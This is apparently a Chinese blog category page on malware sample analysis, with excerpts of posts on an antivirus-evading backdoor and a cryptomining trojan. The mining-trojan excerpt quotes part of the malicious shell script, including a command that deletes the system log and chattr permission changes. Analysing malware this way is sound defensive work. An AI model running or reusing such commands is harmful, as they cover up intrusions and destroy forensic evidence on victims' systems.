![](https://img-blog.csdnimg.cn/20201014180756754.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
样本分析
AlwaysBetter
男儿何不带吴钩
展开
-
免杀后门程序分析
程序大体上解密data中shellcode后,跳转到shellcode执行,所以直接放上shellcode的分析原创 2021-09-05 12:51:10 · 170 阅读 · 0 评论 -
挖矿木马简单分析
#!/bin/sh#更改当前进程最大打开文件数为65535ulimit -n 65535#删除linux下系统关键日志信息rm -rf /var/log/syslog#给chattr最高权限 chattr (chattr可以修改文件隐藏属性,如不可删除)chmod 777 /usr/bin/chattrchmod 777 /bin/chattr# -iua i:只许修改,不允许建立和删除 u删除文件会保存,以后可以恢复 a只允许建立和修改,不允许删除# -iua 和 + 相反 去除文件原创 2021-07-27 20:12:22 · 1567 阅读 · 0 评论